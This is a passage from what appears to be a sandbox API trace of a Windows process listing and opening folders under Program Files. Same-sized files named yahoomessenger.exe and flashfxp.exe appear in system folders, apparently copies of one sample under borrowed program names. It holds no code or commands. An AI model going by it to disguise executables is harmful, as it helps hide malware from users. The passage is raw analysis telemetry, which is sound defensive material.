lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1054327, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb1054327, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb1184e2a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x25e800, dwReserved0=0x0, dwReserved1=0x0, cFileName="ImagingEngine.dll", cAlternateFileName="")) returned 1 [0250.155] FindNextFileW (in: hFindFile=0x4fd6a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb102e1c7, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb102e1c7, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb1054327, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10bc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotoAcq.dll", cAlternateFileName="")) returned 1 [0250.155] FindNextFileW (in: hFindFile=0x4fd6a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b623846, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x8b623846, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x43a82ff0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xc600, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotoBase.dll", cAlternateFileName="")) returned 1 [0250.155] FindNextFileW (in: hFindFile=0x4fd6a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb121d3ab, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb121d3ab, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb13c02ce, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1a5c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotoViewer.dll", cAlternateFileName="")) returned 1 [0250.155] FindNextFileW (in: hFindFile=0x4fd6a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb121d3ab, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb121d3ab, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb13c02ce, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1a5c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotoViewer.dll", cAlternateFileName="")) returned 0 [0250.155] GetLastError () returned 0x12 [0250.155] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0250.155] FindClose (in: hFindFile=0x4fd6a0 | out: hFindFile=0x4fd6a0) returned 1 [0250.155] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aea60) returned 1 [0250.155] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aee18) returned 1 [0250.155] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9ff2e530, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9ff2e530, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Portable Devices", cAlternateFileName="")) returned 1 [0250.156] CreateFileW (lpFileName="C:\\Program Files\\Windows Portable Devices" (normalized: "c:\\program files\\windows portable devices"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c4 [0250.156] SetFileTime (hFile=0x1c4, lpCreationTime=0x0, lpLastAccessTime=0x15ff6bc, lpLastWriteTime=0x15ff6bc) returned 0 [0250.156] DeviceIoControl (in: hDevice=0x1c4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15ff714, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15ff714, lpOverlapped=0x0) returned 0 [0250.156] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9eadf0) returned 1 [0250.156] NtClose (Handle=0x1c4) returned 0x0 [0250.156] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aee18) returned 1 [0250.156] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Portable Devices\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff4c4) returned 0x4fd6a0 [0250.156] FindNextFileW (in: hFindFile=0x4fd6a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9ff2e530, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9ff2e530, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.156] FindNextFileW (in: hFindFile=0x4fd6a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa93f44c2, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa93f44c2, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa93f44c2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3bc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1 [0250.156] FindNextFileW (in: hFindFile=0x4fd6a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ed828a0, ftCreationTime.dwHighDateTime=0x1d5b204, ftLastAccessTime.dwLowDateTime=0x1a25d180, ftLastAccessTime.dwHighDateTime=0x1d56cee, ftLastWriteTime.dwLowDateTime=0x1a25d180, ftLastWriteTime.dwHighDateTime=0x1d56cee, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="yahoomessenger.exe", cAlternateFileName="")) returned 1 [0250.156] FindNextFileW (in: hFindFile=0x4fd6a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ed828a0, ftCreationTime.dwHighDateTime=0x1d5b204, ftLastAccessTime.dwLowDateTime=0x1a25d180, ftLastAccessTime.dwHighDateTime=0x1d56cee, ftLastWriteTime.dwLowDateTime=0x1a25d180, ftLastWriteTime.dwHighDateTime=0x1d56cee, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="yahoomessenger.exe", cAlternateFileName="")) returned 0 [0250.156] GetLastError () returned 0x12 [0250.156] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Portable Devices\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff4c4) returned 0x4fd5a0 [0250.156] FindClose (in: hFindFile=0x4fd6a0 | out: hFindFile=0x4fd6a0) returned 1 [0250.156] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9ff2e530, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9ff2e530, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.157] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa93f44c2, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa93f44c2, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa93f44c2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3bc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1 [0250.157] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ed828a0, ftCreationTime.dwHighDateTime=0x1d5b204, ftLastAccessTime.dwLowDateTime=0x1a25d180, ftLastAccessTime.dwHighDateTime=0x1d56cee, ftLastWriteTime.dwLowDateTime=0x1a25d180, ftLastWriteTime.dwHighDateTime=0x1d56cee, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="yahoomessenger.exe", cAlternateFileName="")) returned 1 [0250.157] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ed828a0, ftCreationTime.dwHighDateTime=0x1d5b204, ftLastAccessTime.dwLowDateTime=0x1a25d180, ftLastAccessTime.dwHighDateTime=0x1d56cee, ftLastWriteTime.dwLowDateTime=0x1a25d180, ftLastWriteTime.dwHighDateTime=0x1d56cee, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="yahoomessenger.exe", cAlternateFileName="")) returned 0 [0250.157] GetLastError () returned 0x12 [0250.157] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0250.157] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0250.157] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aea60) returned 1 [0250.157] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aee18) returned 1 [0250.157] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9fe95fb0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9fe95fb0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="")) returned 1 [0250.157] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar" (normalized: "c:\\program files\\windows sidebar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0250.157] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15ff6bc, lpLastWriteTime=0x15ff6bc) returned 0 [0250.157] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15ff714, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15ff714, lpOverlapped=0x0) returned 0 [0250.157] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9eadf0) returned 1 [0250.157] NtClose (Handle=0x1b4) returned 0x0 [0250.157] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aee18) returned 1 [0250.157] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff4c4) returned 0x4fd5a0 [0250.158] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9fe95fb0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9fe95fb0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.169] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x237a3493, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0250.169] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5323d700, ftCreationTime.dwHighDateTime=0x1d57114, ftLastAccessTime.dwLowDateTime=0x1e7eb110, ftLastAccessTime.dwHighDateTime=0x1d5a525, ftLastWriteTime.dwLowDateTime=0x1e7eb110, ftLastWriteTime.dwHighDateTime=0x1d5a525, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="flashfxp.exe", cAlternateFileName="")) returned 1 [0250.169] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa1afe884, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1afe884, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gadgets", cAlternateFileName="")) returned 1 [0250.169] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d8b118c, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x7d8b118c, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x43f45420, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x15600, dwReserved0=0x0, dwReserved1=0x0, cFileName="sbdrop.dll", cAlternateFileName="")) returned 1 [0250.169] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80497579, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bf43439, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bf43439, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.ini", cAlternateFileName="")) returned 1 [0250.169] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80046d91, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80046d91, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shared Gadgets", cAlternateFileName="")) returned 1 [0250.169] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa896430f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa896430f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa898a46f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x168400, dwReserved0=0x0, dwReserved1=0x0, cFileName="sidebar.exe", cAlternateFileName="")) returned 1 [0250.169] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7abe9733, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x7abe9733, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x45aefc70, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x27e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wlsrvc.dll", cAlternateFileName="")) returned 1 [0250.169] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7abe9733, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x7abe9733, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x45aefc70, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x27e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wlsrvc.dll", cAlternateFileName="")) returned 0 [0250.169] GetLastError () returned 0x12 [0250.169] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff4c4) returned 0x4fd6a0 [0250.169] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0250.169] FindNextFileW (in: hFindFile=0x4fd6a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9fe95fb0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9fe95fb0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.169] FindNextFileW (in: hFindFile=0x4fd6a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x237a3493, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0250.169] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\en-US" (normalized: "c:\\program files\\windows sidebar\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0250.170] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0250.170] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0250.170] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9eadf0) returned 1 [0250.170] NtClose (Handle=0x1b4) returned 0x0 [0250.170] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1655098) returned 1 [0250.170] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd5a0 [0250.170] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x237a3493, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.170] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="sbdrop.dll.mui", cAlternateFileName="")) returned 1 [0250.170] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sidebar.exe.mui", cAlternateFileName="")) returned 1 [0250.170] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sidebar.exe.mui", cAlternateFileName="")) returned 0 [0250.170] GetLastError () returned 0x12 [0250.170] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd5e0 [0250.170] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0250.170] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x237a3493, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.170] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="sbdrop.dll.mui", cAlternateFileName="")) returned 1 [0250.170] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sidebar.exe.mui", cAlternateFileName="")) returned 1 [0250.170] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sidebar.exe.mui", cAlternateFileName="")) returned 0 [0250.171] GetLastError () returned 0x12 [0250.171] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16577e8) returned 1 [0250.171] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0250.171] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1657a08) returned 1 [0250.171] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1655098) returned 1 [0250.171] FindNextFileW (in: hFindFile=0x4fd6a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5323d700, ftCreationTime.dwHighDateTime=0x1d57114, ftLastAccessTime.dwLowDateTime=0x1e7eb110, ftLastAccessTime.dwHighDateTime=0x1d5a525, ftLastWriteTime.dwLowDateTime=0x1e7eb110, ftLastWriteTime.dwHighDateTime=0x1d5a525, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="flashfxp.exe", 